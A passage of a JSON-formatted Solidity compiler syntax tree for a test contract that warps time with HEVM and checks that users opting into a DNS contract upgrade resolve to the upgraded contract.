2\",\"value\":\"2\"},\"id\":666,\"name\":\"Literal\",\"src\":\"2386:1:2\"}],\"id\":667,\"name\":\"IndexAccess\",\"src\":\"2380:8:2\"}],\"id\":668,\"name\":\"MemberAccess\",\"src\":\"2380:15:2\"}],\"id\":669,\"name\":\"FunctionCall\",\"src\":\"2380:17:2\"}],\"id\":670,\"name\":\"ExpressionStatement\",\"src\":\"2380:17:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":671,\"name\":\"Identifier\",\"src\":\"2421:5:2\"},{\"attributes\":{\"hexvalue\":\"33\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3\",\"value\":\"3\"},\"id\":672,\"name\":\"Literal\",\"src\":\"2427:1:2\"}],\"id\":673,\"name\":\"IndexAccess\",\"src\":\"2421:8:2\"}],\"id\":674,\"name\":\"MemberAccess\",\"src\":\"2421:14:2\"}],\"id\":675,\"name\":\"FunctionCall\",\"src\":\"2421:16:2\"}],\"id\":676,\"name\":\"ExpressionStatement\",\"src\":\"2421:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_70_by_1\",\"typeString\":\"int_const 70\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"warp\",\"referencedDeclaration\":1392,\"type\":\"function (uint256) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":447,\"type\":\"contract HEVMCheat\",\"value\":\"hevm\"},\"id\":677,\"name\":\"Identifier\",\"src\":\"2483:4:2\"}],\"id\":679,\"name\":\"MemberAccess\",\"src\":\"2483:9:2\"},{\"attributes\":{\"hexvalue\":\"3730\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 70\",\"value\":\"70\"},\"id\":680,\"name\":\"Literal\",\"src\":\"2493:2:2\"}],\"id\":681,\"name\":\"FunctionCall\",\"src\":\"2483:13:2\"}],\"id\":682,\"name\":\"ExpressionStatement\",\"src\":\"2483:13:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":683,\"name\":\"Identifier\",\"src\":\"2500:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":684,\"name\":\"Identifier\",\"src\":\"2512:7:2\"}],\"id\":685,\"name\":\"MemberAccess\",\"src\":\"2512:22:2\"}],\"id\":686,\"name\":\"FunctionCall\",\"src\":\"2512:24:2\"}],\"id\":687,\"name\":\"UnaryOperation\",\"src\":\"2511:25:2\"}],\"id\":688,\"name\":\"FunctionCall\",\"src\":\"2500:37:2\"}],\"id\":689,\"name\":\"ExpressionStatement\",\"src\":\"2500:37:2\"},{\"attributes\":{\"assignments\":[691]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"up\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":690,\"name\":\"ElementaryTypeName\",\"src\":\"2542:4:2\"}],\"id\":691,\"name\":\"VariableDeclaration\",\"src\":\"2542:7:2\"}],\"id\":692,\"name\":\"VariableDeclarationStatement\",\"src\":\"2542:7:2\"},{\"attributes\":{\"assignments\":[694]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":693,\"name\":\"UserDefinedTypeName\",\"src\":\"2553:4:2\"}],\"id\":694,\"name\":\"VariableDeclaration\",\"src\":\"2553:7:2\"}],\"id\":695,\"name\":\"VariableDeclarationStatement\",\"src\":\"2553:7:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":696,\"name\":\"Identifier\",\"src\":\"2598:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":694,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":697,\"name\":\"Identifier\",\"src\":\"2602:2:2\"}],\"id\":698,\"name\":\"TupleExpression\",\"src\":\"2597:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":699,\"name\":\"Identifier\",\"src\":\"2608:7:2\"}],\"id\":700,\"name\":\"MemberAccess\",\"src\":\"2608:21:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":701,\"name\":\"ElementaryTypeName\",\"src\":\"2630:7:2\"}],\"id\":702,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2630:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":703,\"name\":\"Identifier\",\"src\":\"2638:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":704,\"name\":\"Literal\",\"src\":\"2644:1:2\"}],\"id\":705,\"name\":\"IndexAccess\",\"src\":\"2638:8:2\"}],\"id\":706,\"name\":\"FunctionCall\",\"src\":\"2630:17:2\"}],\"id\":707,\"name\":\"FunctionCall\",\"src\":\"2608:40:2\"}],\"id\":708,\"name\":\"Assignment\",\"src\":\"2597:51:2\"}],\"id\":709,\"name\":\"ExpressionStatement\",\"src\":\"2597:51:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":710,\"name\":\"Identifier\",\"src\":\"2652:10:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":711,\"name\":\"Identifier\",\"src\":\"2663:2:2\"}],\"id\":712,\"name\":\"FunctionCall\",\"src\":\"2652:14:2\"}],\"id\":713,\"name\":\"ExpressionStatement\",\"src\":\"2652:14:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":714,\"name\":\"Identifier\",\"src\":\"2670:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":715,\"name\":\"ElementaryTypeName\",\"src\":\"2679:7:2\"}],\"id\":716,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2679:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":694,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":717,\"name\":\"Identifier\",\"src\":\"2687:2:2\"}],\"id\":718,\"name\":\"FunctionCall\",\"src\":\"2679:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_UpgradedDNS_$2303\",\"typeString\":\"contract UpgradedDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":719,\"name\":\"ElementaryTypeName\",\"src\":\"2692:7:2\"}],\"id\":720,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2692:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":721,\"name\":\"Identifier\",\"src\":\"2700:6:2\"}],\"id\":722,\"name\":\"FunctionCall\",\"src\":\"2692:15:2\"}],\"id\":723,\"name\":\"FunctionCall\",\"src\":\"2670:38:2\"}],\"id\":724,\"name\":\"ExpressionStatement\",\"src\":\"2670:38:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":725,\"name\":\"Identifier\",\"src\":\"2773:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":694,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":726,\"name\":\"Identifier\",\"src\":\"2777:2:2\"}],\"id\":727,\"name\":\"TupleExpression\",\"src\":\"2772:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":728,\"name\":\"Identifier\",\"src\":\"2783:7:2\"}],\"id\":729,\"name\":\"MemberAccess\",\"src\":\"2783:21:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":730,\"name\":\"ElementaryTypeName\",\"src\":\"2805:7:2\"}],\"id\":731,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2805:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":732,\"name\":\"Identifier\",\"src\":\"2813:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":733,\"name\":\"Literal\",\"src\":\"2819:1:2\"}],\"id\":734,\"name\":\"IndexAccess\",\"src\":\"2813:8:2\"}],\"id\":735,\"name\":\"FunctionCall\",\"src\":\"2805:17:2\"}],\"id\":736,\"name\":\"FunctionCall\",\"src\":\"2783:40:2\"}],\"id\":737,\"name\":\"Assignment\",\"src\":\"2772:51:2\"}],\"id\":738,\"name\":\"ExpressionStatement\",\"src\":\"2772:51:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":739,\"name\":\"Identifier\",\"src\":\"2827:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":740,\"name\":\"Identifier\",\"src\":\"2839:2:2\"}],\"id\":741,\"name\":\"UnaryOperation\",\"src\":\"2838:3:2\"}],\"id\":742,\"name\":\"FunctionCall\",\"src\":\"2827:15:2\"}],\"id\":743,\"name\":\"ExpressionStatement\",\"src\":\"2827:15:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":744,\"name\":\"Identifier\",\"src\":\"2920:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":694,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":745,\"name\":\"Identifier\",\"src\":\"2924:2:2\"}],\"id\":746,\"name\":\"TupleExpression\",\"src\":\"2919:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":747,\"name\":\"Identifier\",\"src\":\"2930:7:2\"}],\"id\":748,\"name\":\"MemberAccess\",\"src\":\"2930:21:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":749,\"name\":\"ElementaryTypeName\",\"src\":\"2952:7:2\"}],\"id\":750,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2952:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":751,\"name\":\"Identifier\",\"src\":\"2960:5:2\"},{\"attributes\":{\"hexvalue\":\"32\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 2\",\"value\":\"2\"},\"id\":752,\"name\":\"Literal\",\"src\":\"2966:1:2\"}],\"id\":753,\"name\":\"IndexAccess\",\"src\":\"2960:8:2\"}],\"id\":754,\"name\":\"FunctionCall\",\"src\":\"2952:17:2\"}],\"id\":755,\"name\":\"FunctionCall\",\"src\":\"2930:40:2\"}],\"id\":756,\"name\":\"Assignment\",\"src\":\"2919:51:2\"}],\"id\":757,\"name\":\"ExpressionStatement\",\"src\":\"2919:51:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":758,\"name\":\"Identifier\",\"src\":\"2974:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":759,\"name\":\"Identifier\",\"src\":\"2986:2:2\"}],\"id\":760,\"name\":\"UnaryOperation\",\"src\":\"2985:3:2\"}],\"id\":761,\"name\":\"FunctionCall\",\"src\":\"2974:15:2\"}],\"id\":762,\"name\":\"ExpressionStatement\",\"src\":\"2974:15:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":763,\"name\":\"Identifier\",\"src\":\"3021:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":694,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":764,\"name\":\"Identifier\",\"src\":\"3025:2:2\"}],\"id\":765,\"name\":\"TupleExpression\",\"src\":\"3020:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":766,\"name\":\"Identifier\",\"src\":\"3031:7:2\"}],\"id\":767,\"name\":\"MemberAccess\",\"src\":\"3031:21:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":768,\"name\":\"ElementaryTypeName\",\"src\":\"3053:7:2\"}],\"id\":769,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3053:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":770,\"name\":\"Identifier\",\"src\":\"3061:5:2\"},{\"attributes\":{\"hexvalue\":\"33\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3\",\"value\":\"3\"},\"id\":771,\"name\":\"Literal\",\"src\":\"3067:1:2\"}],\"id\":772,\"name\":\"IndexAccess\",\"src\":\"3061:8:2\"}],\"id\":773,\"name\":\"FunctionCall\",\"src\":\"3053:17:2\"}],\"id\":774,\"name\":\"FunctionCall\",\"src\":\"3031:40:2\"}],\"id\":775,\"name\":\"Assignment\",\"src\":\"3020:51:2\"}],\"id\":776,\"name\":\"ExpressionStatement\",\"src\":\"3020:51:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":777,\"name\":\"Identifier\",\"src\":\"3075:10:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":691,\"type\":\"bool\",\"value\":\"up\"},\"id\":778,\"name\":\"Identifier\",\"src\":\"3086:2:2\"}],\"id\":779,\"name\":\"FunctionCall\",\"src\":\"3075:14:2\"}],\"id\":780,\"name\":\"ExpressionStatement\",\"src\":\"3075:14:2\"},{\"attributes\":{\"assignments\":[782]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d2\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":781,\"name\":\"ElementaryTypeName\",\"src\":\"3094:6:2\"}],\"id\":782,\"name\":\"VariableDeclaration\",\"src\":\"3094:16:2\"},{\"attributes\":{\"hexvalue\":\"632e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"c.eth\\\"\",\"value\":\"c.eth\"},\"id\":783,\"name\":\"Literal\",\"src\":\"3113:7:2\"}],\"id\":784,\"name\":\"VariableDeclarationStatement\",\"src\":\"3094:26:2\"},{\"attributes\":{\"assignments\":[786]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i2\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":785,\"name\":\"ElementaryTypeName\",\"src\":\"3124:6:2\"}],\"id\":786,\"name\":\"VariableDeclaration\",\"src\":\"3124:9:2\"},{\"attributes\":{\"hexvalue\":\"30783039306130623063\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 151653132\",\"value\":\"0x090a0b0c\"},\"id\":787,\"name\":\"Literal\",\"src\":\"3136:10:2\"}],\"id\":788,\"name\":\"VariableDeclarationStatement\",\"src\":\"3124:22:2\"},{\"attributes\":{\"assignments\":[790]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d3\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":789,\"name\":\"ElementaryTypeName\",\"src\":\"3150:6:2\"}],\"id\":790,\"name\":\"VariableDeclaration\",\"src\":\"3150:16:2\"},{\"attributes\":{\"hexvalue\":\"642e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"d.eth\\\"\",\"value\":\"d.eth\"},\"id\":791,\"name\":\"Literal\",\"src\":\"3169:7:2\"}],\"id\":792,\"name\":\"VariableDeclarationStatement\",\"src\":\"3150:26:2\"},{\"attributes\":{\"assignments\":[794]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i3\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":793,\"name\":\"ElementaryTypeName\",\"src\":\"3180:6:2\"}],\"id\":794,\"name\":\"VariableDeclaration\",\"src\":\"3180:9:2\"},{\"attributes\":{\"hexvalue\":\"30783064306530663066\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 